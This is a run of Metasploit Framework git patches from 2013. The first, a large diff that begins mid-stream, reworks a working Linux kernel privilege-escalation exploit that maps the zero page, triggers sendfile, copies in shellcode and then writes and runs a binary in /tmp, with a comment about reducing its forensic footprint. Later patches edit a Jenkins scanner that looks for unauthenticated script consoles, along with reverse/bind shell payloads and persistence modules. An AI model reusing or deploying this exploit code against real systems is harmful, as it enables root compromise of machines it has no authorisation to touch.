"/" + rand_text_alphanumeric(8) - - @executable_path end def exploit sc = Metasm::ELF.new(@cpu) sc.parse %Q| + #define DEBUGGING + #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx + .entrypoint #endif + call main + ;push eax + call exit | - current_task_struct_h(sc) - if datastore["DEBUG"] - cparser.parse "#define DEBUG\n" + + # Set up the same include order as the bionic build system. + # See external/source/meterpreter/source/bionic/libc/Jamfile + cparser.lexer.include_search_path = [ + "external/source/meterpreter/source/bionic/libc/include/", + "external/source/meterpreter/source/bionic/libc/private/", + "external/source/meterpreter/source/bionic/libc/bionic/", + "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", + "external/source/meterpreter/source/bionic/libc/kernel/common/", + "external/source/meterpreter/source/bionic/libc/arch-x86/include/", + ] + + cparser.parse(%Q| + #define DEBUGGING + // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h + #ifndef __extension__ + #define __extension__ + #endif + // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h + // Doing #if on an undefined macro is fine in GCC, but a parse error in + // metasm. + #ifndef __STDC__ + #define __STDC__ 0 + #endif + #include + #include + #include + #include + #include + #include + /* + OpenBSD's strcmp from string/strcmp.c in bionic + */ + int + strcmp(const char *s1, const char *s2) + { + while (*s1 == *s2++) + if (*s1++ == 0) + return (0); + return (*(unsigned char *)s1 - *(unsigned char *)--s2); + } + |) + + [ + "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", + "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", + "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", + "external/source/meterpreter/source/bionic/libc/unistd/mmap.c", + # This parses without any trouble, but actually calling perror() causes + # immediate segfaults. + #"external/source/meterpreter/source/bionic/libc/unistd/perror.c", + + # For some ungodly reason, NULL ends up being undefined when parsing this + # guy, which of course causes parse errors. + #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c", + + ].each do |fname| + print_status("Parsing c file #{fname}") + cparser.parse(File.read(fname), fname) end + print_status("Unix socket.h") + unix_socket_h(sc) + current_task_struct_h(sc) + case target.arch.first when ARCH_X86 + print_status("syscall wrappers") + linux_x86_syscall_wrappers(sc) main = %q^ - -struct _IO_FILE; -typedef void _IO_lock_t; - -struct _IO_marker { - struct _IO_marker *_next; - struct _IO_FILE *_sbuf; - int _pos; -}; -typedef unsigned int __gid_t; -typedef long __off_t; -typedef int __pid_t; -typedef -struct { - long __val[2]; -} __quad_t; -typedef int __ssize_t; -typedef unsigned int __uid_t; -extern void exit(int __status); -extern int open(const char *__file, int __oflag, ...); -extern void perror(const char *__s); -extern int printf(const char *__format, ...); -typedef unsigned long size_t; -extern int socket(int __domain, int __type, int __protocol); -extern int strcmp(const char *__s1, const char *__s2); -extern int unlink(const char *__name); - -typedef __quad_t __off64_t; -extern __pid_t fork(void); -extern int ftruncate(int __fd, __off_t __length); -extern __gid_t getgid(void); -extern __uid_t getuid(void); -extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset); -extern int mprotect(void *__addr, size_t __len, int __prot); -typedef __off_t off_t; -typedef __ssize_t ssize_t; - -struct _IO_FILE { - int _flags; - char *_IO_read_ptr; - char *_IO_read_end; - char *_IO_read_base; - char *_IO_write_base; - char *_IO_write_ptr; - char *_IO_write_end; - char *_IO_buf_base; - char *_IO_buf_end; - char *_IO_save_base; - char *_IO_backup_base; - char *_IO_save_end; - struct _IO_marker *_markers; - struct _IO_FILE *_chain; - int _fileno; - int _flags2; - __off_t _old_offset; - unsigned short _cur_column; - signed char _vtable_offset; - char _shortbuf[1]; - _IO_lock_t *_lock; - __off64_t _offset; - void *__pad1; - void *__pad2; - void *__pad3; - void *__pad4; - size_t __pad5; - int _mode; - char _unused2[40]; -}; -extern ssize_t sendfile(int __out_fd, int __in_fd, off_t *__offset, size_t __count); - -typedef struct _IO_FILE FILE; - -extern int fclose(FILE *__stream); -extern FILE *fopen(const char *__filename, const char *__modes); -extern int fscanf(FILE *__stream, const char *__format, ...); - - -// Refactor missed these, added manually by the simple expedient of -// printf -#define PF_BLUETOOTH 31 -#define PF_APPLETALK 5 -#define PF_IPX 4 -#define PF_IRDA 23 -#define PF_X25 9 -#define PF_AX25 3 -#define PF_PPPOX 24 - -#define EOF -1 - -#define MAP_PRIVATE 0x02 -#define MAP_FIXED 0x10 -#define MAP_ANONYMOUS 0x20 -#define MAP_ANON MAP_ANONYMOUS -#define MAP_FAILED ((void *)-1) - -#define PROT_READ 0x1 -#define PROT_WRITE 0x2 -#define PROT_EXEC 0x4 - -#define O_CREAT 64 -#define O_RDWR 2 - -#define SOCK_DGRAM 2 - - -/* -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -*/ - -// Only print to stdout if we're debugging. This reduces our forensics -// footprint a touch by preventing our debugging strings from showing up -// in the binary when using the exploit for reals. -#ifdef DEBUG -# define dprintf printf -#else -# define dprintf -#endif - -#undef fscanf - #ifdef __x86_64__ #define PTR_FMT "0x%016x" #else @@ -235,7 +163,6 @@ extern int fscanf(FILE *__stream, const char *__format, ...); #define NULL ((void*)0) #define DOMAINS_STOP -1 - const int domains[] = { PF_BLUETOOTH, PF_APPLETALK, @@ -265,7 +192,7 @@ static unsigned long get_kernel_sym(char *name) if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { - dprintf("Unable to obtain symbol listing!\n"); + printf("Unable to obtain symbol listing!\n"); return 0; } } @@ -278,7 +205,7 @@ static unsigned long get_kernel_sym(char *name) continue; } if (!strcmp(name, sname)) { - dprintf(" [+] Resolved %s to %p\n", name, (void *)addr); + printf(" [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } @@ -326,11 +253,11 @@ own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long return -1; } -SHELLCODE - +const char *shellcode = +""; int shellcode_size = 0; -int main(int argc, char **argv) { +int main() { int i = 0; int d; int in_fd, out_fd; @@ -338,9 +265,6 @@ int main(int argc, char **argv) { char template[] = "/tmp/sendfile.XXXXXX"; int (*func)(); - dprintf("argv[0] = %s\n", argv[0]); - unlink(argv[0]); - uid = getuid(), gid = getgid(); mapped = mmap(NULL , 0x1000, @@ -349,7 +273,7 @@ int main(int argc, char **argv) { 0, 0 ); if (mapped == NULL) { - dprintf("Mapped zero page!\n"); + printf("Mapped zero page!\n"); } else { exit(1); } @@ -361,36 +285,35 @@ int main(int argc, char **argv) { *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel; for (i = 0; i < 16; i++) { - dprintf("\\\\x%02x", (unsigned char)mapped[i]); + printf("\\\\x%02x", (unsigned char)mapped[i]); } - dprintf("\n"); + printf("\n"); for (d = 0; domains[d] != DOMAINS_STOP; d++) { - //dprintf("Next domain ... "); + //printf("Next domain ... "); out_fd = socket(domains[d], SOCK_DGRAM, 0); if (out_fd > 0) { - dprintf("Got domain[%d]\n", d); + printf("Got domain[%d]\n", d); break; } if (out_fd < 0) { - perror("socket"); + printf("out_fd: %d, Errno: %d\n", out_fd, errno); exit(1); } } - unlink(template); // Couldn't get mkstemp to work, just use open(2) for now in_fd = open(template, O_CREAT | O_RDWR, 0777); - dprintf("Opened temp file: %d\n", in_fd); + printf("Opened temp file: %d\n", in_fd); unlink(template); - dprintf("Calling ftruncate\n"); + printf("Calling ftruncate\n"); ftruncate(in_fd, 4096); - dprintf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); - dprintf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); + printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); + printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); sendfile(out_fd, in_fd, NULL, 4096); - dprintf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); - dprintf("UID: %d GID: %d\n", getuid(), getgid()); + printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); + printf("UID: %d GID: %d\n", getuid(), getgid()); func = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, @@ -399,31 +322,24 @@ int main(int argc, char **argv) { ); mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); // weaksauce memcpy so we don't have to #include - dprintf("Copying %d bytes of shellcode\n", shellcode_size); + printf("Copying %d bytes of shellcode\n", shellcode_size); for (i = 0; i < shellcode_size; i++) { (char)func[i] = (char)shellcode[i]; } - dprintf("Forking before calling shellcode: 0x%p\n", func); + printf("Calling shellcode: 0x%p\n", func); //sigtrap(); - if (fork()) { - exit(0); - } func(); return got_ring0; } - ^ - main.gsub!(/SHELLCODE/) do - # Split the payload into chunks and dump it out as a hex-escaped - # literal C string. - Rex::Text.to_c(payload.encoded, 64, "shellcode") + main.gsub!(/shellcode =/) do + # split the payload into 16-byte chunks and dump it out as a + # hex-escaped C string + %Q|shellcode =\n"#{payload.encoded.scan(/.{1,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"| end main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") - cparser.parse(main, "main.c") - #$stderr.puts cparser.factorize - #return asm = cpu.new_ccompiler(cparser, sc).compile @@ -431,7 +347,6 @@ int main(int argc, char **argv) { end sc.assemble - sc.c_set_default_entrypoint begin if sc.kind_of? Metasm::ELF @@ -447,11 +362,16 @@ int main(int argc, char **argv) { return end - print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" - rm_f executable_path - write_file(executable_path, elf) - output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") + #puts Rex::Text.to_hex_dump(foo) + File.open("payload.bin", "wb") {|fd| + fd.write elf + } + print_status "Writing exploit executable (#{elf.length} bytes)" + cmd_exec("rm /tmp/sendpage") + write_file("/tmp/sendpage", elf) + output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage") output.each_line { |line| print_debug line.chomp } + #cmd_exec("rm /tmp/sendpage") end From 58a43e87dd78359f95e5eb18f998c4b2e725dd20 Mon Sep 17 00:00:00 2001 From: jamcut Date: Mon, 21 Oct 2013 14:18:12 -0400 Subject: [PATCH 272/409] Added fixes suggested by jlee-r7 additional code clean up --- .../scanner/http/jenkins_vulnscan.rb | 181 +++++++++++------- 1 file changed, 108 insertions(+), 73 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 00e8941ece..32b619f27d 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -4,6 +4,7 @@ require 'rex/proto/http' require 'msf/core' +require 'rexml/document' class Metasploit3 < Msf::Auxiliary @@ -30,115 +31,149 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi( { - 'uri' => target_uri.path, #wanted to use a random path but Jenkins headers were not returned + 'uri' => target_uri.path, 'method' => 'GET', 'ctype' => 'text/plain', }) if res - #check to see if we are dealing with a Jenkins installation + # check to see if we are dealing with a Jenkins installation if not res.headers.include?('X-Jenkins') print_status("#{rhost}:#{rport} responded with #{res.code} but does not seem to be Jenkins") if res.code != 404 return end + else + vprint_error("No reponse recieved from #{rhost}:#{rport}") + return end version = res.headers['X-Jenkins'] vprint_status("#{rhost}:#{rport} Jenkins Version - #{version}") - apps = [ 'script', #exploit module for this - 'view/All/newJob', #possible to exploit manually maybe there will be a module in the future - 'systemInfo', #can disclose some useful information about the system + # script - exploit module for this + # view/All/newJob - can be exploited manually + # asynchPeople - Jenkins users + # systemInfo - system information + apps = [ 'script', + 'view/All/newJob', + 'asynchPeople/', + 'systemInfo', ] apps.each do |app| - check_app(app, version) + check_app(app) end end - def check_app(app, version) + def check_app(app) uri_path = normalize_uri(target_uri.path, app) res = send_request_cgi({ 'uri' => uri_path, 'method' => 'GET', 'ctype' => 'text/plain', }) - case (res.code) + if not res + vprint_error("Failed to connect to #{rhost}:#{rport}#{uri_path}") + return + end + case res.code when 200 - print_good("#{rhost}:#{rport} /#{app} does not require authentication (200)") + print_good("#{rhost}:#{rport}#{uri_path} does not require authentication (200)") case app - when "systemInfo" - parse_system_info(res.body, version) - when "script" - report_vuln( - :host => rhost, - :port => rport, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :name => self.name, - :info => "Module #{self.fullname} confirmed access to the Jenkins Script Console with no authentication" - ) + when "systemInfo" + parse_system_info(res.body) + when "script" + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :name => self.name, + :info => "Module #{self.fullname} confirmed access to the Jenkins Script Console with no authentication" + ) end when 403 - vprint_status("#{rhost}:#{rport} #{app} restricted (403)") + vprint_status("#{rhost}:#{rport}#{uri_path} restricted (403)") when 401 - vprint_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}") + vprint_status("#{rhost}:#{rport}#{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") when 404 - vprint_status("#{rhost}:#{rport} #{app} not found (404)") + vprint_status("#{rhost}:#{rport}#{uri_path} not found (404)") when 301 - vprint_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + vprint_status("#{rhost}:#{rport}#{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") when 302 - vprint_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + vprint_status("#{rhost}:#{rport}#{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") else - vprint_status("#{rhost}:#{rport} Don't know how to handle response code #{res.code}") + vprint_status("#{rhost}:#{rport}#{uri_path} Don't know how to handle response code #{res.code}") end end + def parse_system_info(body) + vprint_status("#{rhost}:#{rport} getting useful information from systemInfo") + infos = { + "os.name" => nil, + "os.version" => nil, + "sun.os.patch.level" => nil, + "os.arch" => nil, + "user.name" => nil, + "USERDOMAIN" => nil, + "user.home" => nil, + "user.language" => nil, + "user.country" => nil, + "user.timezone" => nil, + "COMPUTERNAME" => nil, + "SystemDrive" => nil, + "TEMP" => nil, + "TMP" => nil, + "SHELL" => nil + } + # remove unclosed tags for REXML + body = body.gsub('', '') + body = body.gsub('
', '') + doc = REXML::Document.new(body) + tds = doc.get_elements("//td") + tdcounter = 0 + tds.each do |td| + td = td.get_text.to_s.strip + infos.each do |k, v| + if td == k + infos[k] = tds[tdcounter +1].get_text.to_s.strip + end + end + tdcounter +=1 + end - def parse_system_info(body, version) - vprint_status("#{rhost}:#{rport} getting useful information from /systemInfo") - infos = ["os.name", "sun.os.patch.level", "os.arch", "user.name", "USERDOMAIN", "SHELL"] - out = [] - if version.to_f < 1.526 #html parsing is version dependent - lines = body.split('') - infos.each do |info| - lines.each do |line| - next if not line.include? info - line = line.sub('', '') - line = line.sub(info, '') - line = line.sub('', '') - line = line.sub('', '') - out.push(info) - out.push(line) - end - end - elsif version.to_f >= 1.526 - lines = body.split('') - infos.each do |info| - lines.each do |line| - next if not line.include? info - line = line.sub('', '') - line = line.sub(info, '') - line = line.strip - out.push(info) - out.push(line) - end - end - end - #print out the goodies - out = out.uniq - out.each do |o| - dex = out.index(o) - case o - when "os.name" - print_line(" OS: " + out[dex+1]) - when "sun.os.patch.level" - print_line(" Patch Level: " + out[dex+1]) - when "os.arch" - print_line(" Arch: " + out[dex+1]) - when "user.name" - print_line(" User: " + out[dex+1]) - when "USERDOMAIN" - print_line(" Domain: " + out[dex+1]) - when "SHELL" - print_line(" Shell: " + out[dex+1]) + # print out the goodies + infos.each do |k, v| + next if v.nil? + case k + when "os.name" + print_line(" OS: #{v}") + when "os.version" + print_line(" OS Version: #{v}") + when "sun.os.patch.level" + print_line(" Patch Level: #{v}") + when "os.arch" + print_line(" Arch: #{v}") + when "user.name" + print_line(" User: #{v}") + when "USERDOMAIN" + print_line(" Domain: #{v}") + when "COMPUTERNAME" + print_line(" Computer Name: #{v}") + when "SystemDrive" + vprint_line(" System Drive: #{v}") + when "SHELL" + print_line(" Shell: #{v}") + when "TEMP" + print_line(" Temp Directory: #{v}") + when "TMP" + print_line(" Temp Directory: #{v}") if infos["TEMP"].nil? + when "user.home" + vprint_line(" Home Directory: #{v}") + when "user.language" + vprint_line(" Language: #{v}") + when "user.country" + vprint_line(" Country: #{v}") + when "user.timezone" + vprint_line(" Timezone: #{v}") end + end print_line('') end From c070108da6444fbaa76ba3cac24974f9693c869f Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 21 Oct 2013 13:33:00 -0500 Subject: [PATCH 273/409] Release-related updates * Lua is not an acronym * Adds an OSVDB ref * credit @jvazquez-r7, not HD, for the Windows CMD thing --- modules/exploits/unix/webapp/webtester_exec.rb | 1 + modules/payloads/singles/cmd/unix/bind_lua.rb | 4 ++-- modules/payloads/singles/cmd/unix/reverse_lua.rb | 4 ++-- modules/payloads/singles/cmd/windows/bind_lua.rb | 4 ++-- modules/payloads/singles/cmd/windows/generic.rb | 2 +- modules/payloads/singles/cmd/windows/reverse_lua.rb | 4 ++-- 6 files changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index 92c0b75bd9..96bb9c7cae 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -26,6 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + ['OSVDB' => '98750'], ['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/'] ], 'Payload' => diff --git a/modules/payloads/singles/cmd/unix/bind_lua.rb b/modules/payloads/singles/cmd/unix/bind_lua.rb index 5fdb0fbc82..3bf76e2d2f 100644 --- a/modules/payloads/singles/cmd/unix/bind_lua.rb +++ b/modules/payloads/singles/cmd/unix/bind_lua.rb @@ -17,8 +17,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Unix Command Shell, Bind TCP (via LUA)', - 'Description' => 'Listen for a connection and spawn a command shell via LUA', + 'Name' => 'Unix Command Shell, Bind TCP (via Lua)', + 'Description' => 'Listen for a connection and spawn a command shell via Lua', 'Author' => [ 'xistence ', diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb index 23a4f3c4f7..fed490fced 100644 --- a/modules/payloads/singles/cmd/unix/reverse_lua.rb +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -17,8 +17,8 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Unix Command Shell, Reverse TCP (via LUA)', - 'Description' => 'Creates an interactive shell via LUA', + 'Name' => 'Unix Command Shell, Reverse TCP (via Lua)', + 'Description' => 'Creates an interactive shell via Lua', 'Author' => [ 'xistence ', diff --git a/modules/payloads/singles/cmd/windows/bind_lua.rb b/modules/payloads/singles/cmd/windows/bind_lua.rb index 27cc04dcae..9005bb36f7 100644 --- a/modules/payloads/singles/cmd/windows/bind_lua.rb +++ b/modules/payloads/singles/cmd/windows/bind_lua.rb @@ -17,8 +17,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows Command Shell, Bind TCP (via LUA)', - 'Description' => 'Listen for a connection and spawn a command shell via LUA', + 'Name' => 'Windows Command Shell, Bind TCP (via Lua)', + 'Description' => 'Listen for a connection and spawn a command shell via Lua', 'Author' => [ 'xistence ', diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb index e16fe4f121..84c4cf1be3 100644 --- a/modules/payloads/singles/cmd/windows/generic.rb +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Command, Generic Command Execution', 'Description' => 'Executes the supplied command', - 'Author' => 'hdm', + 'Author' => 'juan vazquez', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb index 5e4705c4ab..0bc48abc42 100644 --- a/modules/payloads/singles/cmd/windows/reverse_lua.rb +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -17,8 +17,8 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows Command Shell, Reverse TCP (via LUA)', - 'Description' => 'Creates an interactive shell via LUA', + 'Name' => 'Windows Command Shell, Reverse TCP (via Lua)', + 'Description' => 'Creates an interactive shell via Lua', 'Author' => [ 'xistence ', From bce8d9a90f7ec2414a53cd6afbfbeaf6285f2b21 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 21 Oct 2013 13:36:15 -0500 Subject: [PATCH 274/409] Update license comments with resplat. --- modules/exploits/osx/local/persistence.rb | 6 ++---- modules/exploits/windows/local/vss_persistence.rb | 6 ++---- modules/payloads/singles/cmd/unix/bind_lua.rb | 6 ++---- modules/payloads/singles/cmd/unix/reverse_lua.rb | 6 ++---- modules/payloads/singles/cmd/windows/bind_lua.rb | 6 ++---- modules/payloads/singles/cmd/windows/generic.rb | 6 ++---- modules/payloads/singles/cmd/windows/reverse_lua.rb | 6 ++---- 7 files changed, 14 insertions(+), 28 deletions(-) diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index f0eb1c45bd..322e6acb76 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -1,8 +1,6 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index 074ec1b868..b543e88212 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -1,8 +1,6 @@ ## -# ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/bind_lua.rb b/modules/payloads/singles/cmd/unix/bind_lua.rb index 3bf76e2d2f..c3be536995 100644 --- a/modules/payloads/singles/cmd/unix/bind_lua.rb +++ b/modules/payloads/singles/cmd/unix/bind_lua.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb index fed490fced..a695369a4d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_lua.rb +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/bind_lua.rb b/modules/payloads/singles/cmd/windows/bind_lua.rb index 9005bb36f7..9c5a793cd8 100644 --- a/modules/payloads/singles/cmd/windows/bind_lua.rb +++ b/modules/payloads/singles/cmd/windows/bind_lua.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb index 84c4cf1be3..d8dc67fe82 100644 --- a/modules/payloads/singles/cmd/windows/generic.rb +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb index 0bc48abc42..002cebcc9c 100644 --- a/modules/payloads/singles/cmd/windows/reverse_lua.rb +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From c1954c458c63f4bc55b9d022bc813a80e1a3ed4d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 21 Oct 2013 13:38:24 -0500 Subject: [PATCH 275/409] Just warn, don't bail Even if the OS detection returns non-Win7, maybe it's Win 8 or something where it'll still work. We rarely bail out on checks like these. If I'm crazy, feel free to skip or revert this commit (it shouldn't hold up the release at all) For details on this module, see #2503. I don't see any comments about this line in particular --- modules/exploits/windows/local/vss_persistence.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index b543e88212..4366e6b6a0 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -59,8 +59,7 @@ class Metasploit3 < Msf::Exploit::Local os = sysinfo['OS'] unless os =~ /Windows 7/ - print_error("This module has been tested only on Windows 7") - return + print_warning("This module has been tested only on Windows 7") end unless is_admin? From 03adb48d48c3aa7807a40625fa9aa6938eb6b4f4 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 21 Oct 2013 14:50:25 -0500 Subject: [PATCH 276/409] Resolve NoMethodError undefined method `empty?' for nil:NilClass blank? should fix this. --- modules/post/windows/manage/payload_inject.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index 31b3529ae8..5565298124 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Post pay = client.framework.payloads.create(name) pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport - if not opts.empty? + if not opts.blank? opts.split(",").each do |o| opt,val = o.split("=",2) pay.datastore[opt] = val From 10a4ff41dece811682af9f68fcf787f950040f42 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 21 Oct 2013 15:11:37 -0500 Subject: [PATCH 278/409] Delete Content-Length duplicate header --- modules/exploits/multi/http/glassfish_deployer.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index c33616faa8..5a1dc2b17b 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -88,7 +88,6 @@ class Metasploit3 < Msf::Exploit::Remote headers = {} headers['Cookie'] = "JSESSIONID=#{session}" if session != '' headers['Content-Type'] = ctype if ctype != nil - headers['Content-Length'] = data.length if data != nil res = send_request_raw({ 'uri' => path, From 9258d799788b19429400e31c985ce043390adcb3 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 21 Oct 2013 13:39:07 -0500 Subject: [PATCH 279/409] Add ZDI references to reference.rb --- lib/msf/core/module/reference.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index ce9be5279b..9690cc301e 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -112,6 +112,8 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.site = 'http://www.kb.cert.org/vuls/id/' + in_ctx_val.to_s elsif (in_ctx_id == 'BPS') self.site = 'https://strikecenter.bpointsys.com/bps/advisory/BPS-' + in_ctx_val.to_s + elsif (in_ctx_id == 'ZDI') + self.site = 'http://www.zerodayinitiative.com/advisories/ZDI-' + in_ctx_val.to_s elsif (in_ctx_id == 'URL') self.site = in_ctx_val.to_s else From 2aed8a3aea90ca411ebb6cdf63d8aa56dc92f281 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 21 Oct 2013 15:07:07 -0500 Subject: [PATCH 280/409] Update modules to use new ZDI reference --- modules/auxiliary/admin/hp/hp_data_protector_cmd.rb | 2 +- modules/auxiliary/admin/oracle/osb_execqr.rb | 2 +- modules/auxiliary/admin/oracle/osb_execqr2.rb | 4 ++-- modules/auxiliary/admin/oracle/osb_execqr3.rb | 2 +- modules/auxiliary/admin/serverprotect/file.rb | 2 +- modules/auxiliary/admin/zend/java_bridge.rb | 2 +- .../scanner/http/hp_imc_bims_downloadservlet_traversal.rb | 2 +- .../scanner/http/hp_imc_faultdownloadservlet_traversal.rb | 2 +- .../scanner/http/hp_imc_ictdownloadservlet_traversal.rb | 2 +- .../scanner/http/hp_imc_reportimgservlt_traversal.rb | 